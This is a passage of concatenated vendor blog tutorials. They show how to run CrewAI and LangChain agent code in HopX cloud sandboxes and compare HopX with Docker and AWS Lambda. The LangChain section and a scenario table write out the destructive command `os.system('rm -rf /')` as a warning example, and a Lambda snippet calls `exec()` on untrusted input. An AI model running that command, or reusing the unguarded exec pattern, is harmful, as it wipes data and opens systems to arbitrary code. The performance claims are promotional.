south_analysis = Task(
description="Analyze South region sales data",
agent=data_analyst,
expected_output="South region analysis"
)
east_analysis = Task(
description="Analyze East region sales data",
agent=data_analyst,
expected_output="East region analysis"
)
west_analysis = Task(
description="Analyze West region sales data",
agent=data_analyst,
expected_output="West region analysis"
)
# Consolidation task (runs after all parallel tasks)
consolidate_task = Task(
description="Consolidate all regional analyses into final report",
agent=report_writer,
expected_output="Consolidated report",
context=[north_analysis, south_analysis, east_analysis, west_analysis]
)
# Parallel crew
parallel_crew = Crew(
agents=[data_analyst, report_writer],
tasks=[north_analysis, south_analysis, east_analysis, west_analysis, consolidate_task],
process=Process.sequential, # CrewAI handles parallelization internally
verbose=True
)
```
## Tool with File Upload Support
Enable agents to work with uploaded files:
```python
from crewai.tools import BaseTool
from hopx import Sandbox
from pydantic import BaseModel, Field
from typing import Type
import base64
class FileAnalysisInput(BaseModel):
file_content: str = Field(description="Base64 encoded file content")
filename: str = Field(description="Name of the file")
analysis_code: str = Field(description="Python code to analyze the file")
class FileAnalysisTool(BaseTool):
"""Upload and analyze files in sandbox."""
name: str = "file_analyzer"
description: str = """Upload a file and analyze it with Python code.
Provide:
1. file_content: Base64 encoded file data
2. filename: Name to save as (e.g., 'data.csv')
3. analysis_code: Python code to analyze (file is at /app/{filename})
"""
args_schema: Type[BaseModel] = FileAnalysisInput
def _run(self, file_content: str, filename: str, analysis_code: str) -> str:
sandbox = None
try:
sandbox = Sandbox.create(template="code-interpreter")
# Decode and upload file
file_bytes = base64.b64decode(file_content)
sandbox.files.write(f"/app/{filename}", file_bytes)
# Run analysis
result = sandbox.runCode(analysis_code, language="python", timeout=120)
if result.exitCode == 0:
return f"✅ Analysis complete:\n{result.stdout}"
else:
return f"❌ Error:\n{result.stderr}"
except Exception as e:
return f"❌ Error: {str(e)}"
finally:
if sandbox:
sandbox.kill()
```
## Error Handling in Multi-Agent Systems
Robust error handling for production:
```python
from crewai.tools import BaseTool
from hopx import Sandbox
import time
class RobustPythonTool(BaseTool):
"""Python execution with retry and error recovery."""
name: str = "robust_python"
description: str = "Execute Python with automatic error recovery"
max_retries: int = 3
retry_delay: float = 2.0
def _run(self, code: str) -> str:
last_error = None
for attempt in range(self.max_retries):
sandbox = None
try:
sandbox = Sandbox.create(template="code-interpreter")
result = sandbox.runCode(code, language="python", timeout=60)
if result.exitCode == 0:
return result.stdout or "Success"
else:
# Syntax/runtime error - don't retry, let agent fix
return f"Code error:\n{result.stderr}"
except Exception as e:
last_error = str(e)
if attempt < self.max_retries - 1:
time.sleep(self.retry_delay)
finally:
if sandbox:
try:
sandbox.kill()
except:
pass
return f"Sandbox failed after {self.max_retries} attempts: {last_error}"
```
## Complete Example: Market Research Crew
Here's a production-ready example:
```python
"""
Market Research Crew with Secure Code Execution
"""
from crewai import Agent, Task, Crew, Process
from crewai.tools import BaseTool
from hopx import Sandbox
from pydantic import BaseModel, Field
from typing import Type, Optional
import os
# Ensure API keys
assert os.environ.get("OPENAI_API_KEY"), "Set OPENAI_API_KEY"
assert os.environ.get("HOPX_API_KEY"), "Set HOPX_API_KEY"
class SandboxManager:
"""Manage shared sandbox for crew."""
_sandbox: Optional[Sandbox] = None
@classmethod
def get(cls) -> Sandbox:
if cls._sandbox is None:
cls._sandbox = Sandbox.create(template="code-interpreter", ttl=600)
return cls._sandbox
@classmethod
def cleanup(cls):
if cls._sandbox:
cls._sandbox.kill()
cls._sandbox = None
class CodeInput(BaseModel):
code: str = Field(description="Python code to execute")
class AnalysisTool(BaseTool):
name: str = "analyze"
description: str = "Execute Python for data analysis. State persists."
args_schema: Type[BaseModel] = CodeInput
def _run(self, code: str) -> str:
try:
result = SandboxManager.get().runCode(code, language="python", timeout=60)
return result.stdout if result.exitCode == 0 else f"Error: {result.stderr}"
except Exception as e:
return f"Error: {e}"
def create_market_research_crew():
"""Create a crew for market research analysis."""
tool = AnalysisTool()
# Agents
market_analyst = Agent(
role="Market Research Analyst",
goal="Analyze market data to identify trends and opportunities",
backstory="15 years of experience in market research and competitive analysis.",
tools=[tool],
verbose=True
)
quant_analyst = Agent(
role="Quantitative Analyst",
goal="Apply statistical methods to validate market insights",
backstory="Former hedge fund quant with expertise in statistical modeling.",
tools=[tool],
verbose=True
)
strategist = Agent(
role="Business Strategist",
goal="Translate analysis into actionable business strategies",
backstory="MBA from Wharton, 10 years in strategy consulting.",
tools=[tool],
verbose=True
)
# Tasks
data_collection = Task(
description="""Create a synthetic market dataset for analysis:
Generate data with:
- 500 companies
- Columns: company, sector, revenue, growth_rate, market_share, employees, founded_year
- Sectors: Tech, Healthcare, Finance, Retail, Manufacturing
- Realistic distributions
Save to /app/market_data.csv and show summary stats.""",
expected_output="Dataset created with summary statistics",
agent=market_analyst
)
statistical_analysis = Task(
description="""Perform statistical analysis on market_data.csv:
1. Correlation analysis between variables
2. Sector comparison (ANOVA for revenue differences)
3. Growth rate distribution analysis
4. Identify statistical outliers
5. Regression: what predicts growth_rate?
Print all statistical results with interpretations.""",
expected_output="Complete statistical analysis with interpretations",
agent=quant_analyst,
context=[data_collection]
)
strategic_report = Task(
description="""Create strategic recommendations based on analysis:
1. Executive Summary
2. Key Market Insights (backed by data)
3. Sector Opportunities (ranked)
4. Risk Assessment
5. Strategic Recommendations (5 specific actions)
Reference specific numbers from the analysis.""",
expected_output="Strategic report with data-backed recommendations",
agent=strategist,
context=[statistical_analysis]
)
return Crew(
agents=[market_analyst, quant_analyst, strategist],
tasks=[data_collection, statistical_analysis, strategic_report],
process=Process.sequential,
verbose=True
)
if __name__ == "__main__":
crew = create_market_research_crew()
try:
result = crew.kickoff()
print("\n" + "="*70)
print("MARKET RESEARCH REPORT")
print("="*70)
print(result)
finally:
SandboxManager.cleanup()
```
## Best Practices
### 1. One Sandbox Per Crew Session
```python
# Don't create sandbox per tool call
# DO: Share sandbox across the crew run
manager = SharedSandboxManager.get_instance()
```
### 2. Clear Tool Descriptions
```python
# Bad: Vague
description = "Run Python code"
# Good: Specific with examples
description = """Execute Python for data analysis.
Use pandas for data manipulation: df = pd.read_csv(...)
Use matplotlib for charts: plt.savefig('/app/chart.png')
Always print() results you want to see."""
```
### 3. Task Context for Data Flow
```python
# Ensure data flows between tasks
analysis_task = Task(
...,
context=[data_prep_task] # Access previous task output
)
```
### 4. Cleanup on Completion
```python
try:
result = crew.kickoff()
finally:
SandboxManager.cleanup() # Always cleanup
```
## Conclusion
CrewAI + HopX gives you:
- **Multi-agent collaboration** with specialized roles
- **Safe code execution** in isolated sandboxes
- **Persistent state** for complex analyses
- **Production-ready** error handling and cleanup
Your agents can think, collaborate, and execute code—without putting your infrastructure at risk.
---
Ready to build your own AI crew? [Get started with HopX](https://console.hopx.ai) for secure agent execution.
## Further Reading
- [LangChain Tools with Secure Execution](/blog/tutorials/langchain-tools-secure-code-execution) — LangChain integration
- [Multi-Agent Architectures](/blog/deep-dives/multi-agent-architectures-with-hopx) — Deep dive into patterns
- [CrewAI Documentation](https://docs.crewai.com/) — Official docs
- [Orchestrator Pattern](/blog/ai-agents/orchestrator-pattern-ai-agents) — Coordination patterns
---
## Getting Started with HopX: Your First Sandbox in 5 Minutes
URL: https://hopx.ai/blog/tutorials/getting-started-with-hopx/
Category: Tutorials
Published: 2025-11-26
# Getting Started with HopX: Your First Sandbox in 5 Minutes
HopX gives you secure, isolated cloud sandboxes that start in under 100 milliseconds. Each sandbox is a fully-functional Linux VM with root access—perfect for running untrusted code, AI agent workflows, or data processing tasks.
In this guide, you'll create your first sandbox and execute code in it. Let's get started.
## Prerequisites
Before you begin, you'll need:
- A HopX account (sign up at [console.hopx.ai](https://console.hopx.ai))
- Your API key from the HopX dashboard
- Python 3.8+ or Node.js 18+
## Step 1: Install the SDK
Choose your preferred language:
### Python
```bash
pip install hopx-ai
```
### JavaScript/TypeScript
```bash
npm install @hopx-ai/sdk
```
## Step 2: Set Up Authentication
Export your API key as an environment variable:
```bash
export HOPX_API_KEY="your-api-key-here"
```
Or pass it directly when creating sandboxes (we'll show both methods).
## Step 3: Create Your First Sandbox
### Python Example
```python
from hopx_ai import Sandbox
# Create a sandbox using the code-interpreter template
sandbox = Sandbox.create(template="code-interpreter")
print(f"Sandbox created: {sandbox.id}")
print(f"Status: {sandbox.status}")
```
### JavaScript Example
```javascript
import { Sandbox } from '@hopx-ai/sdk';
const sandbox = await Sandbox.create({ template: 'code-interpreter' });
console.log(`Sandbox created: ${sandbox.id}`);
console.log(`Status: ${sandbox.status}`);
```
That's it! Your sandbox is now running in the cloud.
## Step 4: Execute Code
Now let's run some Python code in your sandbox:
### Python
```python
from hopx_ai import Sandbox
with Sandbox.create(template="code-interpreter") as sandbox:
# Execute Python code
result = sandbox.run_code("""
import sys
print(f"Python version: {sys.version}")
print("Hello from HopX!")
# Do some computation
numbers = [1, 2, 3, 4, 5]
total = sum(numbers)
print(f"Sum of {numbers} = {total}")
""")
print("Output:", result.stdout)
```
### JavaScript
```javascript
import { Sandbox } from '@hopx-ai/sdk';
const sandbox = await Sandbox.create({ template: 'code-interpreter' });
try {
const result = await sandbox.runCode(`
import sys
print(f"Python version: {sys.version}")
print("Hello from HopX!")
numbers = [1, 2, 3, 4, 5]
total = sum(numbers)
print(f"Sum of {numbers} = {total}")
`);
console.log('Output:', result.stdout);
} finally {
await sandbox.kill();
}
```
**Output:**
```
Python version: 3.11.0
Hello from HopX!
Sum of [1, 2, 3, 4, 5] = 15
```
## Step 5: Work with Files
Sandboxes have a full filesystem. You can read and write files:
### Python
```python
from hopx_ai import Sandbox
with Sandbox.create(template="code-interpreter") as sandbox:
# Write a file
sandbox.files.write("/app/data.txt", "Hello, HopX!")
# Read it back
content = sandbox.files.read("/app/data.txt")
print(f"File content: {content}")
# List directory contents
files = sandbox.files.list("/app")
print(f"Files in /app: {files}")
```
### JavaScript
```javascript
import { Sandbox } from '@hopx-ai/sdk';
const sandbox = await Sandbox.create({ template: 'code-interpreter' });
// Write a file
await sandbox.files.write('/app/data.txt', 'Hello, HopX!');
// Read it back
const content = await sandbox.files.read('/app/data.txt');
console.log('File content:', content);
// List directory
const files = await sandbox.files.list('/app');
console.log('Files:', files);
await sandbox.kill();
```
## Step 6: Run Shell Commands
Need to install packages or run system commands? Use the commands interface:
### Python
```python
from hopx_ai import Sandbox
with Sandbox.create(template="code-interpreter") as sandbox:
# Install a package
result = sandbox.commands.run("pip install requests")
print(result.stdout)
# Run any shell command
result = sandbox.commands.run("ls -la /")
print(result.stdout)
```
### JavaScript
```javascript
import { Sandbox } from '@hopx-ai/sdk';
const sandbox = await Sandbox.create({ template: 'code-interpreter' });
// Install a package
const pipResult = await sandbox.commands.run('pip install requests');
console.log(pipResult.stdout);
// Run any shell command
const lsResult = await sandbox.commands.run('ls -la /');
console.log(lsResult.stdout);
await sandbox.kill();
```
## Available Templates
HopX provides pre-built templates for common use cases. The `code-interpreter` template is recommended for most Python workloads:
| Template | Description | Pre-installed |
|----------|-------------|---------------|
| `code-interpreter` | **Recommended** - Full Python data science environment | Python 3.11, pandas, numpy, matplotlib, scikit-learn, requests |
| `nodejs` | Node.js environment | Node.js 20, npm |
| `go` | Go development | Go 1.21 toolchain |
| `rust` | Rust development | cargo, rustc |
| `java` | Java development | Java 17, Maven |
> **Tip:** Use `code-interpreter` for AI agents and data analysis. It includes the most common packages pre-installed.
## What's Next?
You've just created your first HopX sandbox and executed code in it. Here are some next steps:
1. **Build an AI Agent** - Connect your sandbox to OpenAI or Claude to create coding assistants
2. **Create Custom Templates** - Pre-bake your dependencies for faster startups
3. **Explore Desktop Automation** - Use VNC for browser testing and GUI automation
## Common Questions
### How fast do sandboxes start?
Sandboxes start in approximately 100 milliseconds when using pre-built templates. Custom templates with cached dependencies are similarly fast.
### How long can a sandbox run?
By default, sandboxes have a 1-hour timeout. You can extend this or keep them running indefinitely by adjusting the timeout settings.
### Is my code isolated from other users?
Yes. Each sandbox runs in its own micro-VM with dedicated kernel, filesystem, and network stack. There's no shared infrastructure between sandboxes.
### How much does it cost?
HopX uses pay-per-second billing:
- **Compute**: $0.000014/vCPU-second
- **Memory**: $0.0000045/GiB-second
- **Free tier**: $200 in credits when you sign up
## Conclusion
You've learned the basics of HopX:
- ✅ Installing the SDK
- ✅ Creating sandboxes
- ✅ Executing code
- ✅ Working with files
- ✅ Running shell commands
Ready to build something amazing? [Sign up for free](https://console.hopx.ai) and get $200 in credits to start.
For more details, check out the [full documentation](https://docs.hopx.ai).
---
## HopX vs Docker vs AWS Lambda: Choosing the Right Execution Environment
URL: https://hopx.ai/blog/use-cases/hopx-vs-docker-vs-lambda/
Category: Use Cases
Published: 2025-11-26
# HopX vs Docker vs AWS Lambda: Choosing the Right Execution Environment
When building AI agents that execute code, you need an execution environment. The three most common options are Docker containers, AWS Lambda, and microVM-based sandboxes like HopX.
Each has its place. This guide helps you choose the right one.
## Quick Comparison
| Feature | Docker | AWS Lambda | HopX |
|---------|--------|------------|------|
| **Isolation** | Process-level | MicroVM | MicroVM |
| **Cold Start** | 500ms - 2s | 1-5s | ~100ms |
| **Max Duration** | Unlimited | 15 minutes | Unlimited |
| **Persistent FS** | Yes | No | Yes |
| **Custom Packages** | Build time | Layers (250MB limit) | Runtime or template |
| **Network Access** | Full control | Configurable | Full with controls |
| **Pricing Model** | Self-hosted | Per-invocation | Per-second |
| **Best For** | Long-running services | Event-driven functions | AI agent code execution |
## Docker Containers
Docker is the industry standard for packaging and deploying applications. It uses OS-level virtualization to run isolated processes.
### Pros
- **Mature ecosystem** - Vast library of pre-built images
- **Developer familiarity** - Most developers know Docker
- **Full control** - You manage everything
- **No duration limits** - Run as long as needed
- **Persistent storage** - Volumes survive restarts
### Cons
- **Not a security boundary** - Containers share the host kernel
- **Container escapes** - Regular CVEs (2019, 2020, 2022 had major ones)
- **Infrastructure overhead** - You manage orchestration, scaling, updates
- **Cold start for new containers** - 500ms-2s typically
- **Resource management** - Manual configuration of limits
### When to Use Docker
✅ Running trusted code that you wrote
✅ Long-running services (web servers, APIs)
✅ Development environments
✅ CI/CD pipelines
❌ Executing untrusted or LLM-generated code
❌ Multi-tenant workloads requiring isolation
❌ Security-critical applications
### Docker Example
```dockerfile
FROM python:3.11-slim
WORKDIR /app
COPY requirements.txt .
RUN pip install -r requirements.txt
COPY . .
CMD ["python", "main.py"]
```
```bash
docker build -t my-agent .
docker run --rm my-agent
```
## AWS Lambda
Lambda is AWS's serverless compute service. Code runs in microVMs managed by AWS.
### Pros
- **True isolation** - Each function runs in a dedicated microVM
- **Zero infrastructure** - AWS handles everything
- **Auto-scaling** - From 0 to thousands of concurrent executions
- **Pay-per-use** - Only pay when code runs
- **Integrated with AWS** - Easy access to S3, DynamoDB, etc.
### Cons
- **Cold starts** - 1-5 seconds for new instances
- **15-minute limit** - Long tasks must be split
- **No persistent filesystem** - /tmp is cleared between invocations
- **250MB package limit** - Layers help but are complex
- **Vendor lock-in** - AWS-specific patterns
- **Expensive at scale** - Warm functions still cost money
### When to Use Lambda
✅ Event-driven workloads (webhooks, queue processing)
✅ Infrequent, short-duration tasks
✅ AWS-centric architectures
✅ Batch processing
❌ Real-time AI agents (cold starts too slow)
❌ Long-running computations (15-min limit)
❌ Tasks requiring persistent state
❌ Heavy package dependencies
### Lambda Example
```python
# handler.py
def lambda_handler(event, context):
code = event.get('code', '')
# Execute code (but with all Lambda limitations)
exec(code) # Don't do this in production!
return {'statusCode': 200}
```
```yaml
# serverless.yml
functions:
executor:
handler: handler.lambda_handler
timeout: 900 # Max 15 minutes
memorySize: 1024
```
## HopX Sandboxes
HopX provides microVM-based sandboxes optimized for AI workloads. Each sandbox is an isolated Linux VM with its own kernel.
### Pros
- **True isolation** - Hardware-level separation via microVMs
- **100ms cold starts** - Fast enough for real-time AI
- **No duration limits** - Run for hours if needed
- **Persistent filesystem** - Files survive between calls
- **Runtime package installation** - `pip install` anything
- **Full Linux environment** - Root access, any tool
- **Simple SDK** - Python and JavaScript
### Cons
- **Newer platform** - Less ecosystem than Docker/Lambda
- **Requires API key** - Not self-hosted
- **Cost for idle sandboxes** - Pay while running (pause to save)
### When to Use HopX
✅ AI agent code execution
✅ Running LLM-generated code safely
✅ Multi-tenant SaaS with code execution
✅ Data analysis and notebook workloads
✅ Browser automation and desktop testing
✅ Long-running agent tasks
❌ Simple web application hosting
❌ Event-driven queue processing
❌ Extremely high-frequency, low-latency calls
### HopX Example
```python
from hopx_ai import Sandbox
# Create isolated sandbox
with Sandbox.create(template="code-interpreter") as sandbox:
# Install any package at runtime
sandbox.commands.run("pip install pandas matplotlib")
# Execute untrusted code safely
result = sandbox.run_code("""
import pandas as pd
df = pd.DataFrame({'x': [1,2,3], 'y': [4,5,6]})
print(df.describe())
""")
print(result.stdout)
```
## Real-World Scenario Comparisons
### Scenario 1: AI Coding Assistant
You're building a coding assistant that executes user code to help debug.
| Aspect | Docker | Lambda | HopX |
|--------|--------|--------|------|
| User runs `import os; os.system('rm -rf /')` | 🔴 Deletes container files, potential escape | 🟡 Limited damage, 15-min max | 🟢 Contained, sandbox destroyed after |
| User runs 30-minute ML training | 🟢 Works | 🔴 Timeout after 15min | 🟢 Works |
| User needs custom packages | 🟡 Rebuild image | 🔴 Redeploy with layers | 🟢 `pip install` at runtime |
| Cold start for new user | 🟡 1-2s | 🔴 1-5s | 🟢 ~100ms |
**Winner: HopX** - Built for this exact use case.
### Scenario 2: Webhook Processing
You receive webhooks and need to process them quickly.
| Aspect | Docker | Lambda | HopX |
|--------|--------|--------|------|
| Scale to 1000 concurrent | 🟡 Need K8s/ECS | 🟢 Automatic | 🟢 Automatic |
| Cost at low volume | 🔴 Always running | 🟢 Pay per invocation | 🟡 Pay per second |
| Integration with AWS | 🟡 Manual setup | 🟢 Native | 🟡 Via API |
| Execution time (50ms avg) | 🟢 Fast | 🟢 Fast | 🟢 Fast |
**Winner: Lambda** - Designed for event-driven, short tasks.
### Scenario 3: Long-Running Data Pipeline
You have a data pipeline that runs for 2 hours processing large datasets.
| Aspect | Docker | Lambda | HopX |
|--------|--------|--------|------|
| 2-hour runtime | 🟢 Works | 🔴 Impossible | 🟢 Works |
| Large package dependencies | 🟢 Any size | 🔴 250MB limit | 🟢 Any size |
| Persistent intermediate files | 🟢 Volumes | 🔴 No persistence | 🟢 Sandbox FS |
| Cost optimization | 🟡 Manual scaling | 🔴 N/A | 🟢 Pause when idle |
**Winner: Docker/HopX** - Lambda can't handle this.
### Scenario 4: Multi-Tenant SaaS
You're building a SaaS where each customer can run custom code.
| Aspect | Docker | Lambda | HopX |
|--------|--------|--------|------|
| Tenant isolation | 🔴 Weak (shared kernel) | 🟢 Strong (microVM) | 🟢 Strong (microVM) |
| Noisy neighbor protection | 🟡 Requires careful config | 🟢 Automatic | 🟢 Automatic |
| Custom environments per tenant | 🟡 Image per tenant | 🔴 Complex | 🟢 Template per tenant |
| Compliance requirements | 🔴 Hard to prove isolation | 🟢 AWS attestation | 🟢 Hardware isolation |
**Winner: HopX/Lambda** - Docker lacks sufficient isolation for multi-tenant.
## Cost Comparison
Let's compare costs for a typical AI agent workload: 10,000 executions/day, 30 seconds average, 1 vCPU, 1GB RAM.
### Docker (self-hosted on AWS EC2)
```
c5.large (2 vCPU, 4GB): $0.085/hour
Monthly: $0.085 × 24 × 30 = $61.20
+ Reserved capacity for spikes: ~$100/month
Total: ~$160/month
```
But you're paying for idle time and managing infrastructure.
### AWS Lambda
```
10,000 executions × 30 days = 300,000/month
Duration: 300,000 × 30s = 9,000,000 GB-seconds
Cost: 9,000,000 × $0.0000166667 = $150/month
+ Requests: 300,000 × $0.20/million = $0.06
Total: ~$150/month
```
But cold starts hurt UX, and 15-minute limit is restrictive.
### HopX
```
Compute: 9,000,000 vCPU-seconds × $0.000014 = $126
Memory: 9,000,000 GB-seconds × $0.0000045 = $40.50
Total: ~$167/month
```
But you get 100ms cold starts, no duration limits, and full Linux environment.
**Cost verdict**: All three are competitive. Choose based on features, not cost.
## Decision Framework
Use this flowchart to choose:
```
Is the code trusted (you wrote it)?
├── Yes → Docker (full control, mature ecosystem)
└── No → Continue...
Is the code LLM-generated or user-submitted?
├── Yes → Need strong isolation
│ ├── Tasks under 15 minutes? → Lambda is an option
│ └── Longer tasks or real-time? → HopX
└── No → Depends on requirements
Do you need sub-second cold starts?
├── Yes → HopX (~100ms)
└── No → Lambda (1-5s) is acceptable
Do you need persistent filesystem?
├── Yes → Docker or HopX
└── No → Lambda works
Are you already deep in AWS ecosystem?
├── Yes → Lambda for integration benefits
└── No → Evaluate based on other factors
```
## Hybrid Approaches
You don't have to choose just one. Many teams use:
1. **Docker** for their main application (web servers, APIs)
2. **Lambda** for event processing (webhooks, queues)
3. **HopX** for AI agent code execution
```python
# Your main app (Docker/K8s)
@app.post("/execute")
async def execute_code(request: CodeRequest):
# Delegate unsafe execution to HopX
with Sandbox.create(template="code-interpreter") as sandbox:
result = sandbox.run_code(request.code)
return {"output": result.stdout}
# Meanwhile, Lambda handles webhooks
# HopX handles AI agent tasks
```
## Conclusion
| Use Case | Recommendation |
|----------|----------------|
| Web applications | Docker |
| Event-driven functions | Lambda |
| AI agent code execution | HopX |
| Running untrusted code | HopX |
| Multi-tenant SaaS | HopX or Lambda |
| Long-running computations | Docker or HopX |
| Data pipelines | Docker (complex) or HopX (simple) |
The right choice depends on your specific requirements. For AI agents that execute code, HopX provides the best combination of security, speed, and flexibility.
---
Ready to try HopX? [Sign up for free](https://console.hopx.ai) and get $200 in credits.
---
## LangChain Tools with Secure Code Execution Using HopX
URL: https://hopx.ai/blog/tutorials/langchain-tools-secure-code-execution/
Category: Tutorials
Published: 2025-11-26
# LangChain Tools with Secure Code Execution Using HopX
LangChain's built-in `PythonREPL` tool has a big problem: it runs code directly on your machine. One hallucinated `rm -rf /` and your server is gone.
This guide shows you how to replace LangChain's dangerous code execution with secure, isolated HopX sandboxes—while keeping the familiar LangChain patterns you already know.
## The Problem with LangChain's Default Code Execution
LangChain includes a `PythonREPLTool` that lets agents execute Python code:
```python
# ⚠️ DANGEROUS - Don't use in production
from langchain_experimental.tools import PythonREPLTool
tool = PythonREPLTool()
result = tool.run("import os; os.system('rm -rf /')") # Game over
```
This executes code directly on your host machine with full access to:
- Your filesystem
- Network connections
- Environment variables (including API keys)
- System processes
In production, this is a ticking time bomb.
## The Solution: HopX Sandboxed Execution
Replace the dangerous `PythonREPLTool` with a custom tool that runs code in isolated HopX sandboxes:
```
┌─────────────────────────────────────────────────────────────┐
│ LangChain Agent │
│ │
│ "I need to run this Python code to analyze the data..." │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ HopX Sandbox Tool │
│ (Custom LangChain Tool) │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ HopX MicroVM │
│ ┌────────────────────────────────────────────────────┐ │
│ │ Isolated execution environment │ │
│ │ • No access to host filesystem │ │
│ │ • Network policies enforced │ │
│ │ • Resource limits applied │ │
│ │ • Destroyed after execution │ │
│ └────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
│
▼
Results returned to agent
```
## Prerequisites
Install the required packages:
```bash
pip install langchain langchain-openai hopx-ai
```
Set your API keys:
```bash
export OPENAI_API_KEY="sk-..."
export HOPX_API_KEY="your-hopx-key"
```
## Step 1: Create a Secure Python Execution Tool
First, let's build a LangChain-compatible tool that executes code in HopX:
```python
from langchain.tools import BaseTool
from hopx import Sandbox
from pydantic import BaseModel, Field
from typing import Type, Optional
class PythonCodeInput(BaseModel):
"""Input schema for Python code execution."""
code: str = Field(description="The Python code to execute")
class SecurePythonTool(BaseTool):
"""Execute Python code securely in an isolated HopX sandbox."""
name: str = "python_executor"
description: str = """Execute Python code in a secure, isolated sandbox.
Use this tool when you need to:
- Perform calculations or data analysis
- Process files or data structures
- Run any Python code safely
The sandbox has pandas, numpy, matplotlib, requests, and standard libraries.
For visualizations, save to /app/output.png.
"""
args_schema: Type[BaseModel] = PythonCodeInput
# Sandbox configuration
template: str = "code-interpreter"
timeout: int = 60
def _run(self, code: str) -> str:
"""Execute code in isolated sandbox."""
sandbox = None
try:
# Create isolated sandbox
sandbox = Sandbox.create(template=self.template)
# Execute code with timeout
result = sandbox.runCode(code, language="python", timeout=self.timeout)
# Format output
if result.exitCode == 0:
output = result.stdout or "Code executed successfully (no output)"
return f"✅ Execution successful:\n{output}"
else:
error = result.stderr or "Unknown error"
return f"❌ Execution failed:\n{error}"
except Exception as e:
return f"❌ Sandbox error: {str(e)}"
finally:
if sandbox:
sandbox.kill()
async def _arun(self, code: str) -> str:
"""Async version - runs sync for simplicity."""
return self._run(code)
```
## Step 2: Build an Agent with Secure Code Execution
Now create a LangChain agent using our secure tool:
```python
from langchain_openai import ChatOpenAI
from langchain.agents import AgentExecutor, create_openai_tools_agent
from langchain_core.prompts import ChatPromptTemplate, MessagesPlaceholder
# Initialize the LLM
llm = ChatOpenAI(model="gpt-4o", temperature=0)
# Create the secure tool
python_tool = SecurePythonTool()
# Define the prompt
prompt = ChatPromptTemplate.from_messages([
("system", """You are a helpful AI assistant with access to a Python executor.
When users ask questions that require computation, data analysis, or code execution:
1. Write clear, well-commented Python code
2. Use the python_executor tool to run it
3. Analyze the results and provide a helpful response
Available libraries: pandas, numpy, matplotlib, seaborn, requests, json, csv, datetime
Tips:
- Always print() results you want to see
- For charts, save to /app/output.png using plt.savefig()
- Handle potential errors in your code
"""),
MessagesPlaceholder(variable_name="chat_history", optional=True),
("human", "{input}"),
MessagesPlaceholder(variable_name="agent_scratchpad"),
])
# Create the agent
agent = create_openai_tools_agent(llm, [python_tool], prompt)
agent_executor = AgentExecutor(
agent=agent,
tools=[python_tool],
verbose=True,
max_iterations=5
)
# Run it
response = agent_executor.invoke({
"input": "Calculate the first 50 prime numbers and their sum"
})
print(response["output"])
```
## Step 3: Add Multiple Tools
Real agents need more than just Python execution. Here's how to combine tools:
```python
from langchain.tools import BaseTool
from hopx import Sandbox
from pydantic import BaseModel, Field
from typing import Type
class BashCommandInput(BaseModel):
"""Input for bash commands."""
command: str = Field(description="The bash command to execute")
class SecureBashTool(BaseTool):
"""Execute bash commands in isolated sandbox."""
name: str = "bash_executor"
description: str = """Execute bash/shell commands securely.
Use for: file operations, system commands, package installation.
Example: ls -la, cat file.txt, pip install package
"""
args_schema: Type[BaseModel] = BashCommandInput
template: str = "code-interpreter"
def _run(self, command: str) -> str:
sandbox = None
try:
sandbox = Sandbox.create(template=self.template)
result = sandbox.runCode(command, language="bash", timeout=60)
if result.exitCode == 0:
return f"✅ Command succeeded:\n{result.stdout}"
else:
return f"❌ Command failed (exit {result.exitCode}):\n{result.stderr}"
except Exception as e:
return f"❌ Error: {str(e)}"
finally:
if sandbox:
sandbox.kill()
class FileReadInput(BaseModel):
"""Input for reading files."""
path: str = Field(description="Path to the file to read")
class SecureFileReadTool(BaseTool):
"""Read files from the sandbox."""
name: str = "read_file"
description: str = "Read the contents of a file. Use after creating or downloading files."
args_schema: Type[BaseModel] = FileReadInput
def _run(self, path: str) -> str:
sandbox = None
try:
sandbox = Sandbox.create(template="code-interpreter")
content = sandbox.files.read(path)
return f"File contents:\n{content[:10000]}" # Truncate large files
except Exception as e:
return f"❌ Could not read file: {str(e)}"
finally:
if sandbox:
sandbox.kill()
# Create multi-tool agent
tools = [
SecurePythonTool(),
SecureBashTool(),
SecureFileReadTool(),
]
agent = create_openai_tools_agent(llm, tools, prompt)
agent_executor = AgentExecutor(agent=agent, tools=tools, verbose=True)
```
## Step 4: Persistent Sandbox for Multi-Step Tasks
For complex tasks that require multiple code executions, reuse the same sandbox:
```python
from langchain.tools import BaseTool
from hopx import Sandbox
from typing import Optional
import threading
class PersistentSandboxManager:
"""Manage a persistent sandbox for multi-step execution."""
_instance: Optional['PersistentSandboxManager'] = None
_lock = threading.Lock()
def __init__(self):
self.sandbox: Optional[Sandbox] = None
self.ttl = 300 # 5 minutes
@classmethod
def get_instance(cls) -> 'PersistentSandboxManager':
if cls._instance is None:
with cls._lock:
if cls._instance is None:
cls._instance = cls()
return cls._instance
def get_sandbox(self) -> Sandbox:
"""Get or create sandbox."""
if self.sandbox is None:
self.sandbox = Sandbox.create(
template="code-interpreter",
ttl=self.ttl
)
return self.sandbox
def reset(self):
"""Destroy and recreate sandbox."""
if self.sandbox:
try:
self.sandbox.kill()
except:
pass
self.sandbox = None
class PersistentPythonTool(BaseTool):
"""Python tool with persistent sandbox state."""
name: str = "python"
description: str = """Execute Python code with persistent state.
Variables and imports persist between calls.
Use for multi-step data analysis where you need to build on previous results.
"""
def _run(self, code: str) -> str:
manager = PersistentSandboxManager.get_instance()
try:
sandbox = manager.get_sandbox()
result = sandbox.runCode(code, language="python", timeout=60)
if result.exitCode == 0:
return result.stdout or "Executed (no output)"
else:
return f"Error: {result.stderr}"
except Exception as e:
# Sandbox might have expired, reset and retry
manager.reset()
return f"Sandbox error (will retry with fresh sandbox): {str(e)}"
```
## Step 5: Data Analysis Agent with File Handling
Here's a complete example for data analysis tasks:
```python
from langchain_openai import ChatOpenAI
from langchain.agents import AgentExecutor, create_openai_tools_agent
from langchain_core.prompts import ChatPromptTemplate, MessagesPlaceholder
from langchain.tools import BaseTool
from hopx import Sandbox
from pydantic import BaseModel, Field
from typing import Type, Optional
import base64
class DataAnalysisTool(BaseTool):
"""Comprehensive data analysis tool with file support."""
name: str = "analyze_data"
description: str = """Analyze data using Python in a secure sandbox.
Capabilities:
- Load CSV, JSON, Excel files
- Statistical analysis with pandas
- Visualizations with matplotlib/seaborn
- Machine learning with scikit-learn
Input your Python code. For charts, save to /app/chart.png.
Uploaded files are available at /app/data/
"""
# Keep sandbox alive for the session
sandbox: Optional[Sandbox] = None
